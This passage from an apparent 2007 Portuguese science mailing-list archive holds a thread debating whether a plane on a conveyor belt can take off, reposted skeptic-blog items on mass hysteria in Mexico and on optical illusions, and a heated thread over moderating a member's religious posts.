para frente* e agora não precisa mais. Por que? Não há dúvidas que em ambas
as soluções o avião está sujeito ao movimento da esteira que tem *a mesma
velocidade dele* em sentido contrário. Observe que, quando utilizamos um
ponto de ref no solo-terra, a velocidade do avião em relação à esteira é *o
dobro da velocidade* da esteira em relação ao pto de ref no solo-terra.

Esta é minha última tentativa, Renato, depois fica por sua conta
vencer sua fé cega e finalmente entender seu erro no problema.

Homero

Abraços

José Renato
.........................
--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> Caro, Prof. José Carlos!
>
> Sabemos que todo movimento tem um ponto como referência, o ponto zero.
> Usualmente, consideramos que a Terra está "fixa". Sua superfície
está sempre
> no mesmo lugar. Desconsideramos todos os demais movimentos, como:
rotação,
> translação, nutação, precessão do equinócio e translação rumo ao
Apex, ponto
> imaginário entre as constelações de Hércules e Balança. Entretanto,
para um
> cálculo de trajetórias fora da superfície terrestre, como ocorre em
naves espaciais,
> já não podemos desconsiderar os principais movimentos da Terra, da
Lua, do
> Sol e dos planetas. Esse comentário inicial é para relembrar e
alertar que
> *todos os movimentos* são relativos a algum ponto de referência. A
depender
> da escolha dessa referência podemos ter várias interpretações. No
nosso caso
> há apenas duas possibilidades básicas a serem utilizadas: um ponto no
> solo-terra ou um ponto na pista-esteira. Trago a seguir o texto de
minha
> última mensagem para continuar os esclarecimentos ali já iniciados.
>
> [ Vc - e acredito que a grande maioria dos participantes da lista -
também
> não acharam a solução que eu achei desde a primeira vez que refleti
sobre o
> problema aqui na lista, há pelo menos dois anos. Só que eu tinha
dispensado
> a solução que vcs vêem porque, nesta solução em que ele voa, o avião se
> deslocava com o dobro da velocidade *em relação à esteira*... Mas
quando o
> referencial é o solo-terra tanto o avião como a esteira se deslocam
na mesma
> velocidade, em sentidos contrários. ]
>
> 1. Ponto de referência no solo-terra, eixo positivo à sua direita e
negativo
> à esquerda.
> Ve = velocidade da esteira
> Va = velocidade do avião
> Va = -Ve
> O ponto 0 no solo-terra corresponde a um ponto (') na esteira
>
> Ve =]> avião
> <--"-------------------'------------------"----- esteira
> _____________0_____________ solo-terra
> - neg. + pos.
>
> | 1000 | 1000 |
>
> Após 10 segundos o avião atingiu uma velocidade Va=180m/s
> no ponto (") 1000 m à direita e a esteira acelerou simultaneamente
> com o avião e atingiu a mesma velocidade Ve=180m/s, após os
> 10s, se deslocando 1000m à esquerda até o ponto eqüidistante (")
> Em relação ao ponto 0 no solo-terra o avião percorreu 1000m,
> mas em relação ao ponto (') na esteira, que coincidia com o
> ponto 0 no solo-terra, ele se deslocou 2000m.
> *Em relação ao ponto (') na esteira* o avião está se deslocando
> com o *dobro da velocidade* com que se desloca a esteira em
> relação ao ponto 0 no solo-terra.
>
> 1.1 - Avião parado-estacionado e a esteira acionada
> acelerando até atingir a velocidade negativa -Ve.
> Após 10 segundo deslocou-se 1000 metros à esquerda.
>
>
> =]> avião pousado sobre a esteira com turbinas desligadas
> é carregado para trás mil metros do ponto 0 em solo-terra.
> --"---------------------'--------------------- esteira
> _____________0___________ solo-terra c/ ponto de ref. 0
> | 1000m |
>
>
> 1.2 - Se as turbinas do avião estivessem acionadas e ele tivesse
acelerado
> simultaneamente com a esteira - conforme o enunciado do problema -
ele teria
> percorrido sobre a esteira os mesmos 1000 metros à direita. Isto é,
> continuaria posicionado no ponto 0 no solo-terra. Isto é, não teria se
> movimentado em relação ao solo e ao ar que o circunda. É como se
estivesse
> estacionado no ponto 0 no solo-terra. Sabemos que avião estacionado
não alça
> vôo... A não ser quando levado por um furação.
>
> Caso não tenha entendido alguma passagem peço especificar.
>
> Abraços
>
> José Renato
> ..................................................
>
> From: "José Carlos Antonio" <profjc2003@To:
<ciencialist@yahoogrupos.com.br>
> Sent: Saturday, April 14, 2007 1:29 AM
> Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
entendendo nada
> :)
>
>
> Olá José Renato,
>
> Logo nas primeiras aulas de Física, para os primeiros colegiais da
> escola pública onde leciono, eu ensino meus alunos que parte da
> metodologia de sucesso da ciência, também chamada às vezes de
> "metodologia científica", inclui "manter-se focado no problema a ser
> resolvido e nos fenômenos relevantes envolvidos nele". Assim, se eu
> tivesse que explicar o vôo do avião para meus alunos eu diria a eles
> que a única coisa que faz um avião voar é à diferença de pressão entre
> a parte de cima e de baixo das asas dele(e possivelmente de outras
> partes também, dependendo do modelo aerodinâmico), que causa uma força
> resultante para cima suficiente para elevá-lo.
>
> Assim, qualquer mecanismo que seja empregado para que o avião voe deve
> criar essa diferença de pressão e, no caso dos aviões que não usam
> propulsão por foguetes, isso se dá devido a um certo "Princípio de
> Bernoulli" e ao formato abaulado e desigual das partes superior e
> inferior das asas do avião. O Princípio de Bernoulli é um princípio
> pouco comentado na escola (mesmo nas particulares), embora seja
> riquíssimo como fonte inspiradora para se explicar centenas de
> fenômenos do nosso cotidiano que vão desde o velho caso do avião até a
> razão pela qual as roupas secam mais rápido no varal em dias de vento.
> Enfim, desde que passe ar pelas asas do avião com velocidade
> suficiente para que seja gerada a força resultante capaz de elevá-lo,
> ele voará. Pouco importa o que se passa na casa do vizinho, donde vem
> que, segundo a metodologia científica, não devemos incluir os vizinhos
> quando estamos pesquisando algo em nossa própria casa. :)
>
> Só para finalizar, seja lá o que for que você faça com a esteira o
> resultado será irrelevante nas condições do problema, pois a esteira
> não tem nenhuma influência sobre o movimento horizontal do avião e
> serve somente para lhe dar sustentação em terra, não influindo de
> forma alguma na velocidade com que o vento passa pelas asas do avião.
>
> Como você pode ver, as aulas iniciais sobre a Física e sua metodologia
> de estudo da natureza são fundamentais para que meus alunos economizem
> seus neurônios focando-se apenas nos aspectos relevantes dos
> problemas. É claro que isso poderá limitar um pouco a criatividade
> deles, mas eu acredito que essa criatividade é melhor empregada em
> problemas originais e nas tentativas iniciais de abordagem do problema
> do que na busca de novas soluções para problemas "clássicos" já
> exaustivamente estudados e resolvidos.
>
> Ainda não sei qual foi a "outra" solução que você achou...
>
> Abraços,
> Prof. JC
>
>
> --- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@> escreveu
> >
> > JC, não há porque se desculpar!
> >
> > Vc - e acredito que a grande maioria também - não acha a solução
que eu
> > achei desde a primeira vez que refleti sobre o problema aqui na
> lista, há
> > pelo menos dois anos.
> >
> > Só que eu tinha dispensado a solução que vcs vêem porque, nesta
> solução em
> > que ele voa, o avião se deslocava com o dobro da velocidade *em
> relação à
> > esteira*... Mas quando o referencial é o solo-terra tanto o avião
> como a
> > esteira se deslocam na mesma velocidade, em sentidos contrários.
> >
> > Acredito que agora vc consiga ver o esquema que eu vejo.
> >
> > []s
> >
> > José Renato
> > ................................................
> >
> > From: "José Carlos Antonio" <profjc2003@To:
> <ciencialist@yahoogrupos.com.br>
> > Sent: Friday, April 13, 2007 1:32 AM
> > Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
> entendendo nada
> > :)
> >
> >
> > Olá José Renato,
> >
> > Desculpe-me, mas minha ignorância só permite achar uma solução para as
> > condições descritas do problema idealizado: o avião voa.
> >
> > Abraços,
> > JC
> >
> >
> > --- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@> escreveu
> > >
> > > Olá, José Carlos!
> > >
> > > Não gostaria de lhe estragar o prazer de achar as duas soluções
> > possíveis
> > > para a questão apresentada. Lembro que esse mesmo problema foi
> > apresentado
> > > há tempos na lista e no final ficaram todos dizendo que voa e
> apenas eu
> > > dizendo que não. Agora, espero que não termine do mesmo jeito. Tenho
> > > colocado várias dicas para serem analisadas de modo a acompanhar meu
> > > raciocínio lógico-matemático. Mas até agora parece que ninguém
> > conseguiu
> > > entender minhas explicações.
> > >
> > > Abraços
> > >
> > > José Renato
> > > ...................................................
> > >
> > > From: "José Carlos Antonio" <profjc2003@>
> > > To: <ciencialist@yahoogrupos.com.br>
> > > Sent: Wednesday, April 11, 2007 12:12 AM
> > > Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
> > entendendo nada
> > > :)
> > >
> > >
> > > Olá JR,
>
> (apaguei o restante)

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SUBJECT: Histeria coletiva afeta 600 meninas no México: a conexão OVNI
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 16/04/2007 13:32

Histeria coletiva afeta 600 meninas no M�xico: a conex�o
OVNI<http://www.ceticismoaberto.com/news/?p=869>


<http://video.globo.com/Videos/Player/Noticias/0,,GIM665327-7823-DOENCA+MISTERIOSA+NO+MEXICO+CHAMA+A+ATENCAO+DO+MUNDO,00.html>Clique
na imagem ao lado para assistir ao trecho do Fant�stico deste domingo
sobre a "doen�a misteriosa no M�xico que chama a aten��o do
mundo<http://video.globo.com/Videos/Player/Noticias/0,,GIM665327-7823-DOENCA+MISTERIOSA+NO+MEXICO+CHAMA+A+ATENCAO+DO+MUNDO,00.html>".
Mais de mil garotas abandonaram o internato cat�lico mexicano de "Villa de
las Ni�as" depois que um surto de histeria coletiva afetou nada menos que
600 delas.

Os principais sintomas: dores musculares, de cabe�a, al�m de n�usea, v�mito,
febre e paralisia muscular. Os familiares de algumas das meninas acudiram ao
internato e tiveram que carreg�-las para poder lev�-las a diversos hospitais
j� que as garotas n�o conseguiam caminhar. Uma vez nos hospitais, elas
come�aram a recuperar o passo e a liberar-se de outros sintomas. O surto
iniciou-se em outubro de 2006 com uma aluna, em novembro duas meninas
relatarm os mesmo sintomas, em fevereiro a cifra chegou a duzentas e hoje
alcan�ou seiscentas alunas. As autoridades de sa�de intervieram, e
descartaram fatores org�nicos na etiologia da situa��o, posteriormente
consideraram o diagn�stico de transtorno conversivo epid�mico. Este
transtorno faz refer�ncia ao que tradicionalmente se denomina histeria
coletiva ou histeria de massas.
Trata-se de um fen�meno grupal ou coletivo onde os afetados geralmente s�o
jovens (consideram-se muito suscet�vel o g�nero feminio que oscila entre os
11 e 15 anos), que desenvolvem sintomas como n�usea, vertigem, diarr�ia e
altera��es no passo, e que n�o possui explica��o biol�gica demonstr�vel,
al�m de estar associados a fatores de estresse. Os casos recentes de
transtornos conversivos epid�micos ocorreram principalmente entre colegiais,
com adolescentes submetidos a diversas situa��es de estresse.
[Fonte <http://www.elporvenir.com.mx/notas.asp?nota_id=126344>]

N�o se esque�a deste caso, que de forma alguma � �nico. O termo "histeria
coletiva" � visto popularmente com desd�m, ou no m�nimo como uma situa��o
extraordin�ria e, como o Fant�stico notou, rar�ssima. Em verdade, n�o � t�o
raro assim, e embora surja mais comumente em situa��es de extremo estresse,
tamb�m podem ocorrer com tens�es que considerar�amos muito menos graves. O
caso cl�ssico de histeria coletiva � o do Gaseador Louco de
Mattoon<http://www.ceticismoaberto.com/fortianismo/bart_gas.htm>,
em plenos EUA ao fim da Segunda Guerra Mundial. Mas exemplos recentes por
todo o mundo n�o faltam, e n�o se resumem a pa�ses subdesenvolvidos. No final
de 2006 resultando na evacua��o de uma escola na
Inglaterra<http://www.mindhacks.com/blog/2006/12/mass_hysteria_clos.html>,
por exemplo, ou na evacua��o do metr� de Los Angeles em
2001<http://boards.eesite.com/board.cgi?boardset=ExpoLine&boardid=redline&thread=22&spec=6278115>
.
Um caso especialmente not�vel � a histeria coletiva Pokem�n em
1997<http://www.csicop.org/si/2001-05/pokemon.html>,
da qual muitos ainda devem se lembrar. Um epis�dio da s�rie animada levou
centenas de crian�as a relatar mal-estar, mas apenas uma pequena porcentagem
destas de fato foi afetada por ataques de epilepsia provocados pelas cores
vibrantes piscando na TV. A enorme maioria das centenas, milhares de
crian�as relatando sintomas f�sicos participava de um surto de histeria
coletiva. Este exemplo � especialmente relevante ao sublinahr tanto que a
histeria coletiva � mais comum do que se imagina, quanto como os afetados
n�o s�o loucos delirantes. No contexto em que a histeria ocorre, � mesmo
socialmente aceit�vel apresentar tais sintomas.
Histerias coletivas n�o devem ser confundidas com ilus�es em massa, que n�o
envolvem relatos de sintomas f�sicos, apesar de haver muitas similaridades
entre ambos fen�menos. Um caso especialmente interessante de ilus�o em massa
� o do Pente Rob�tico Sionista Derretedor de
P�nis<http://www.ceticismoaberto.com/news/?p=385>.
A rela��o destes fen�menos com o ceticismo � evidente, e d� toda uma nova
perspectiva a diversos casos misteriosos e inexplic�veis da ufologia e
paranormal.
Poderia ser o fen�meno "chupa-chupa" na
Amaz�nia<http://redeglobo.globo.com/Linhadireta/0,26665,GHT0-4604-212882,00.html>,
investigado por alguns militares brasileiros, um caso de histeria coletiva?
Uf�logos e entusiastas ficar�o revoltados com a simples sugest�o, todavia,
como explicamos acima, a sugest�o n�o � t�o descabida. O caso de Villa de
Las Ni�as tamb�m deixa evidente que sintomas f�sicos reais, como joelhos
inchados, podem ocorrer em surtos de histeria � como vimos, sintomas f�sicos
reais s�o o fator essencial para diferenciar ilus�o de histeria em massa.
Talvez o mais relevante para entender o que pode ter ocorrido na Amaz�nia h�
duas d�cadas seja ler um pouco mais sobre o que ocorreu na �ndia h� alguns
anos: a histeria coletiva
Muchnowa<http://news.bbc.co.uk/2/hi/south_asia/2205194.stm>.
Em meados de 2002, ao norte do pa�s, um "misterioso objeto voador
supostamente atacou mais de 100 pessoas enquanto dormiam. Eles viam um flash
de luz, sentiam um choque e um objeto s�lido, e emergia com rostos e membros
arranhados". Chamaram o vil�o de Muchnowa, que em Hindi significa "coisa que
morde ou pica o rosto", muito similar ao "chupa-chupa" brasileiro, que
mordia ou picava suas v�timas para sugar seu sangue. As marcas deixadas pelo
Muchnowa tamb�m s�o muito similares �s do chupa-chupa, arranh�es, e incluem
mesmo supostas queimaduras.
Embora a prov�vel rela��o entre o Muchnowa e o Chupa-chupa j� desprove
alega��es de uf�logos alienados de que o caso brasileiro seria "�nico",
uf�logos talvez ainda um pouco alienados automaticamente defenderiam que
longe de desprovar a origem extraterrestre do Chupa-chupa, o Muchnowa o
corroboraria. Seriam os mesmo alien�genas atacando novamente em regi�es
isoladas e paup�rrimas do mundo. � uma possibilidade, digamos, mas cabe
lembrar aqui que pouco antes do p�nico Muchnowa, a �ndia sofreu com o p�nico
do Homem-Macaco<http://www.discoverybrasil.com/guia_paranormal/paranormal_criptozoologia/paranormal_macaco/index.shtml>.
Estou seguro que uf�logos alienados n�o hesitariam em lembrar como a
ufologia tem catalogada a tipologia extraterrestre incluindo alien�genas
peludos, mas espero que pelo menos alguns vejam o p�nico do Homem-Macaco
como evid�ncia da extens�o de ilus�es e histeria em massa na �ndia, e como
fator relevante na compreens�o do Muchnowa e, talvez, do Chupa-Chupa. Em
ingl�s, tenho um sum�rio preliminar mais detalhado sobre a Opera��o
Prato<http://www.ceticismoaberto.com/research/prato/old.htm>servido
aos interessados.

Postado em Ufologia <http://www.ceticismoaberto.com/news/?cat=2>,
Fortianismo <http://www.ceticismoaberto.com/news/?cat=4>,
Parapsicologia<http://www.ceticismoaberto.com/news/?cat=8>,
Extraterrestres <http://www.ceticismoaberto.com/news/?cat=10>,
Ceticismo<http://www.ceticismoaberto.com/news/?cat=12>| Por Mori
Comente!
� <http://www.ceticismoaberto.com/news/?p=869#respond>

*Posts relacionados:*
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Derretedor de P�nis "O...
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"OVNI" da Pizzaria Dom Rom�o Sobre como uma c...
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Gogh' para la 'Alerta OV...
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que � isso? Um p�ssaro? Um avi�o? Bem, j� ...
- <$BlogItemSubject$>
<http://www.ceticismoaberto.com/news/?p=353>Apenas outro OVNI de
v�rtice N�o sabe o que �...


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SUBJECT: Fonte permite a ilusão de controlar e reverter o tempo
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
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DATE: 16/04/2007 13:33

Fonte permite a ilusão de controlar e reverter o
tempo<http://100nexos.com/arquivo/120>
<http://100nexos.com/arquivo/120#respond>
Assista ao vídeo

<http://100nexos.com/arquivo/120>É o mesmo efeito que ocorre quando você
assiste a um filme e as rodas de um carro parecem rodar muito devagar, ou
mesmo no sentido contrário. Neste caso, a câmera capturou a roda em momentos
determinados que, dependendo de sua sincronia, criam essa ilusão. Na "Fonte
do Tempo" de Nate True, uma goteira com água fluorescente é iluminada por
uma luz estroboscópica, como a das discos, que pode piscar rapidamente.
Ajustando a freqüência das luzes, pode-se criar a ilusão de que as gotas
ficam suspensas no ar ou mesmo passam a subir. Veja mais em inglês no site
de Nate <http://cre.ations.net/creation/the-time-fountain>. Conceito
simples, execução criativa, resultados incríveis.
via MightyOpticalIllusions<http://www.moillusions.com/2007/04/time-fountain-video-illusion.html>


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SUBJECT: Marilyn Monroe + Albert Einstein
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DATE: 16/04/2007 13:34

Marilyn Monroe + Albert Einstein <http://100nexos.com/arquivo/122>
Published April
16th, 2007 in Imagens <http://100nexos.com/arquivo/category/imagens/>. 0
Comments <http://100nexos.com/arquivo/122#respond>


Veja o rosto do físico alemão acima, mas esprema os olhos ou afaste-se do
monitor alguns metros, e a loira platinada deve ficar visível. Na vida real,
o contrário deveria ser mais interessante.
Ah sim, é uma "imagem híbrida" que contém informações que dependem da
resolução com que são vistas. Veja mais
aqui<http://cvcl.mit.edu/hybridimage.htm>,
e o artigo da New Scientist, em inglês,
aqui<http://www.newscientist.com/channel/being-human/mg19325971.600?DCMP=ILC-Top5&nsref=images>
.
via MightyOpticalIllusions<http://www.moillusions.com/2007/03/einstein-monroe-hybrid-image.html>


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SUBJECT: Mais ilusão ótica: quarto de Ames
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
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DATE: 16/04/2007 13:35

Mais ilus�o �tica: quarto de Ames <http://100nexos.com/arquivo/125>
Published April
16th, 2007 in Geral <http://100nexos.com/arquivo/category/geral/>,
V�deos<http://100nexos.com/arquivo/category/resenhas/videos/>,
Ci�ncia <http://100nexos.com/arquivo/category/ciencia/> and
Id�ias<http://100nexos.com/arquivo/category/ideias/>
. 0 Comments <http://100nexos.com/arquivo/125#respond>

Assista ao v�deo <http://100nexos.com/arquivo/125>

Demonstra��o do quarto de Ames <http://en.wikipedia.org/wiki/Ames_room>. O
quarto parece normal quando visto de um ponto determinado � no caso acima,
exatamente onde a c�mera est� posicionada. Mas � em realidade um trapez�ide,
e um dos cantos est� a uma dist�ncia maior do que o outro. Pessoas neste
canto mais distante parecer�o menores porque nosso c�rebro ir� estimar seu
tamanho comparando-o com outras pistas de perspectiva, que neste caso, s�o
enganosas.

O efeito foi usado na trilogia do Senhor dos An�is
<http://en.wikipedia.org/wiki/The_Lord_of_the_Rings:_The_Fellowship_of_the_Ring_%28film%29>para
que os hobbits parecessem menores, estas
imagens<http://www.moillusions.com/2006/04/dwarf-and-giant-illusion.html>tamb�m
devem deixar o efeito evidente.
Uma outra aplica��o bela do efeito tamb�m pode ser vista no clipe "The
Denial Twist" do White Stripes:

Assista ao v�deoclipe <http://100nexos.com/arquivo/125>

No clipe, Jack e Meg White s�o normais, e todos os cen�rios � que s�o
distorcidos. Ao final h� um quarto de Ames, e bem no fim, o cen�rio �
exibido como realmente �. Muito bom, e, sem surpresa, � mais uma de Michel
Gondry <http://100nexos.com/arquivo/100>.
[via MightyOpticalIllusions<http://www.moillusions.com/2007/03/ames-room-video-illusion.html>
]


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SUBJECT: Re: [ciencialist] última tentativa --- EXCLUSÃO e/ou MODERAÇÃO RIGOROSA
FROM: "Mauro" <bombaspr@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 16/04/2007 14:33


----- Original Message -----
From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
a constituição brasileira me dá o direito de resposta, assim sendo:
Vá à merda!

Mauo: Creio que o moderador precisa ser, no mínimo, moderado.

Inté+
Mauro



SUBJECT: Re: [ciencialist] Re: última tentativa --- EXCLUSÃO e/ou MODERAÇÃO RIGOROSA
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 16/04/2007 15:15


--- oraculo333 <oraculo@atibaia.com.br> escreveu:
> É tão sem propósito neste lista debater os milagres
> do Frei Galvão
> (mesmo que do "ponto de vista" científico, pois
> seria preciso apenas
> uma linha para isso, e esta diria: nenhum), quanto
> as diatribes e o
> proselitismo da religião tipo Nova Era do Ferrari.

Então não discuta. Mas querer limitar a liberdade de
expressão dos outros é um retrocesso. Você é uma
pessoa inteligente como já demonstrou em outros emails
por isso acredito que seu problema e o do ilustre
professor de física é mais de percepção mesmo.
Projete-se na idade média e coloque-se no lugar de,
por exemplo, Galileu Galilei. Imagine que todos os
outros são "os religiosos", que a sociedade é
religiosa e você é o único "cientista". Não preciso
dizer mais nada.

> Seu discurso, totalmente irracional, sem sentido, e
> despropositado,
> não pode ser respondido de nenhuma forma racional ou
> lógica. Distorção
> de termos, alegações incomprováveis, frases "de
> impacto" como "deus é
> tempo, tempo é deus, movimento é deus, a mente de
> deus é o tudo, o
> tudo é deus, deus é minha máquina de lavar roupas" e
> outras pérolas,
> nada acrescentam a lista, nem permitem qualquer
> comunicação razoável.

Eu acho que você não se deu o trabalho de tentar
entender o ponto de vista dele. A brincadeira dele é
mais filosófica do que religiosa. O que o ferrari não
sabe é que fenomenólogos já se debruçaram na questão
que ele se propõe a tirar o véu. Aliás, é um erro
comum de quem se "mete a filósofo" desconsiderar o que
foi feito antes por filósofos de carteirinha. Se você
questiona o pecado de escrever a palavra "deus", então
eu já pequei.


> Alguém o chamou de "poeta", mas é um péssimo poeta,
> pois mesmo estes
> ainda tentam comunicar alguma coisa com certo
> sentido.

Nunca disse que ele é um Saramago ou um Bulcão.

> Se for para ler maluquices como essa, recheadas de
> "ataques aos
> cientistas materialistas", ataques escritos,
> postados e distribuídos
> em equipamentos construídos graças a esses
> cientistas materialistas,
> prefiro ficar de fora, ou procurar outra lista menos
> "esotérica"..:-)

Você joga sua tv fora só porque em alguns canais
passam programas de péssima qualidade??? Não. Você os
ignora. Os canais são os temas dessa lista. Deveria
fazer a mesma coisa com o ferrari já que alega
que ele é um maluco. Quando eu notei que ele não
estava sendo objetivo simplesmente não alimentei a
thread.


> Religiosos malucos, que veem deus "em tudo", e que
> não conseguem
> entender o que siginfica realidade, razão, lógica,
> etc, já tiveram sua
> chande, e tentaram, por alguns milhares de anos,
> explicar o unvierso
> em suas bases, a partir de suas premissas. Sabemos
> os resultados,
> pífios, que produziram.

Sim e daí??? Por causa disso vai ferir o direito
deles?? Santa inquisição.....

> Há algum tempo que a ciência, materialista, pois é
> tudo que podemos
> ter razoável certeza de existir, a matéria não
> intencional, tem usado
> seu sistema, e o resultado é que até doidos de pedra
> como o Ferrari
> podemo agora espalhar essas maluquices em alcance
> global, por um
> sistema, material, de computadores, uma rede,
> material, de satélites,
> um conjunto de conhecimento confiável, e material,
> chamado ciência.

"Graças a Deus!!", não é homero ??? :p


> Por isso ele não usa "telepatia", ou seu "mapa
> mental" para nos
> brindar com essas "verdades" que só ele enxerga
> (pobre de nós, ele
> "sabe" e nós não..:-). Ou por isso que ele não
> "reza" para que o
> deus-tudo nos ilumine. Não, ele tem de escrever
> mensagens sem sentido,
> esperando que nós "vejamos a luz"..:-)

Sim e daí?? Apenas ignore-o.


> Chicão, se o Ferrari tiver uma apendicite, o que
> acha que fará? Vai
> usar seu "mapa mental" para entrar em contato com o
> "deus tudo" e
> esperar, ou vai a um hospital, cheio de
> materialistas, usar
> conhecimento, produzido por materialistas,
> antibióticos,
> materialistas, cirurgia, materialista, e se curar!
> Ele é louco, mas
> não tão louco de descartar todo esse conhecimento
> eficaz em nome de
> sua loucura..:-)

E...??Vai querer que ele concorde com você na base da
força??

> Ciência não é democracia. Não é uma questão de
> "votar" para ver que
> alegação é correta ou real. Não se "vota" para
> decidir que medicamento
> cura mais pessoas, nem é uma questão de "democracia"
> permitir que
> todos aleguem o que desejarem, ou que toda alegação,
> democraticamente,
> seja aceita como real!

Ler os absurdos de ferrari ou deixa-lo escrever nessa
lista não implica que devamos aceitar seus argumentos.
È tão difícil mudar de canal ???
Outra coisa: O estado é laico. Você não pode inquirir
ninguém no Brasil em relação a suas crenças baseado na
"verdade científica".

> E certamente não é inquisição defender o objetivo da
> lista e pedir a
> colaboração dos listeiros. Colaboração que o
> Ferrari, pensando ser
> mais, mais esperto, mais "sabido", mais especial que
> os "cientistas
> materialistas", se recusa a dar.

O objetivo da lista pelo menos até onde eu sei, é
discutir ciência. Quando ferrari fala de semântica,
também fala de ciência. Já que você gosta tanto de
exemplos práticos, lembre-se da inteligência
artificial, onde conceitos de território, mapas
mentais são importantes(embora +/- com outras
definições) pois eles ajudam a entender como construir
modelos "representacionais da realidade" para os
robôs.

> Com que prefere debater, Chicão, com o Ferrari, que
> JAMAIS cederá a
> qualquer alegação sua, ou responderá qualquer coisa
> inteligível ao que
> você escreve, ou com os cientistas e especialistas
> da lista?

Eu não tenho predileção por debatedores.
Se o debatedor possui argumentos convicentes
e é objetivo eu perco meu tempo com ele.
Ademais eu não perco.
Deixei de debater com o ferrari por achar que ele
podia ir "aos finalmente" logo.


> Chicão, o Ferrari entrou na lista com o firme
> propósito de bagunçar o
> coreto. Não pretende aprender nada, pois ele "já
> sabe", não pretende
> debater ciência, pois está é "materialista" e não
> pretende ajudar nada
> nem ninguém. Pretende apenas arrumar confusão, e
> tentar convencer as
> pessoas que ele tem "a verdade", em especial as mais
> influenciáveis,
> as que JÁ são religiosas, como o Jose Renato, e que
> devem vê-lo como
> um "guerreiro da fé", a lutar contra os malvados
> cientistas ateus..:-)

Aí só perguntando a ele mesmo.

> Eu voto por solicitar, mais uma vez, que o Ferrari
> pare de mandar
> mensagens evangélicas sobre divindades imaginárias
> para a lista. E que
> seja tomada uma medida mais drástica, se ele não
> colaborar.

E eu voto que deixem o ferrari em paz.

Mude de canal Homero!!!


"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
Fernando Pessoa - Poesias de Alvaro Campos

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SUBJECT: Re: [ciencialist] Re: última tentativa --- EXCLUSÃO e/ou MODERAÇÃO RIGOROSA
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 16/04/2007 15:23

Olá Chicão

Aprecio sua preocupação, e admiro sua honestidade com o tema, e mais, sua paciência com o Ferrari. Mas eu apenas apresentei minha posição pessoal, sobre como agir, mas não disse que deveria ser levada ao pé da letra, ou que era uma imposição. Na verdade, sair de uma lista que não cumpre os objetivos que se procura, é uma atitude sensata, não?

E temos alguns pontos importantes aqui, nesta sua mensagem, que talvez seja interessante discutir. Mas é justamente por ser uma lista dedicada a temas científicos, que não devo prolongar esta discussão dentro dela. Vou responder para você, e manter este interessante e esclarecedor debate com você (e digo isso porque é possível entender o que você escreve e compreender seus, lúcidos, pontos de vista), mas fora do ambiente da lista, cujo escopo é outro.

Um grande abraço.

Homero





----- Original Message -----
From: Chicao Valadares
To: ciencialist@yahoogrupos.com.br
Sent: Monday, April 16, 2007 3:15 PM
Subject: Re: [ciencialist] Re: última tentativa --- EXCLUSÃO e/ou MODERAÇÃO RIGOROSA



--- oraculo333 <oraculo@atibaia.com.br> escreveu:
> É tão sem propósito neste lista debater os milagres
> do Frei Galvão
> (mesmo que do "ponto de vista" científico, pois
> seria preciso apenas
> uma linha para isso, e esta diria: nenhum), quanto
> as diatribes e o
> proselitismo da religião tipo Nova Era do Ferrari.

Então não discuta. Mas querer limitar a liberdade de
expressão dos outros é um retrocesso. Você é uma
pessoa inteligente como já demonstrou em outros emails
por isso acredito que seu problema e o do ilustre
professor de física é mais de percepção mesmo.
Projete-se na idade média e coloque-se no lugar de,
por exemplo, Galileu Galilei. Imagine que todos os
outros são "os religiosos", que a sociedade é
religiosa e você é o único "cientista". Não preciso
dizer mais nada.

> Seu discurso, totalmente irracional, sem sentido, e
> despropositado,
> não pode ser respondido de nenhuma forma racional ou
> lógica. Distorção
> de termos, alegações incomprováveis, frases "de
> impacto" como "deus é
> tempo, tempo é deus, movimento é deus, a mente de
> deus é o tudo, o
> tudo é deus, deus é minha máquina de lavar roupas" e
> outras pérolas,
> nada acrescentam a lista, nem permitem qualquer
> comunicação razoável.

Eu acho que você não se deu o trabalho de tentar
entender o ponto de vista dele. A brincadeira dele é
mais filosófica do que religiosa. O que o ferrari não
sabe é que fenomenólogos já se debruçaram na questão
que ele se propõe a tirar o véu. Aliás, é um erro
comum de quem se "mete a filósofo" desconsiderar o que
foi feito antes por filósofos de carteirinha. Se você
questiona o pecado de escrever a palavra "deus", então
eu já pequei.


> Alguém o chamou de "poeta", mas é um péssimo poeta,
> pois mesmo estes
> ainda tentam comunicar alguma coisa com certo
> sentido.

Nunca disse que ele é um Saramago ou um Bulcão.

> Se for para ler maluquices como essa, recheadas de
> "ataques aos
> cientistas materialistas", ataques escritos,
> postados e distribuídos
> em equipamentos construídos graças a esses
> cientistas materialistas,
> prefiro ficar de fora, ou procurar outra lista menos
> "esotérica"..:-)

Você joga sua tv fora só porque em alguns canais
passam programas de péssima qualidade??? Não. Você os
ignora. Os canais são os temas dessa lista. Deveria
fazer a mesma coisa com o ferrari já que alega
que ele é um maluco. Quando eu notei que ele não
estava sendo objetivo simplesmente não alimentei a
thread.

> Religiosos malucos, que veem deus "em tudo", e que
> não conseguem
> entender o que siginfica realidade, razão, lógica,
> etc, já tiveram sua
> chande, e tentaram, por alguns milhares de anos,
> explicar o unvierso
> em suas bases, a partir de suas premissas. Sabemos
> os resultados,
> pífios, que produziram.

Sim e daí??? Por causa disso vai ferir o direito
deles?? Santa inquisição.....

> Há algum tempo que a ciência, materialista, pois é
> tudo que podemos
> ter razoável certeza de existir, a matéria não
> intencional, tem usado
> seu sistema, e o resultado é que até doidos de pedra
> como o Ferrari
> podemo agora espalhar essas maluquices em alcance
> global, por um
> sistema, material, de computadores, uma rede,
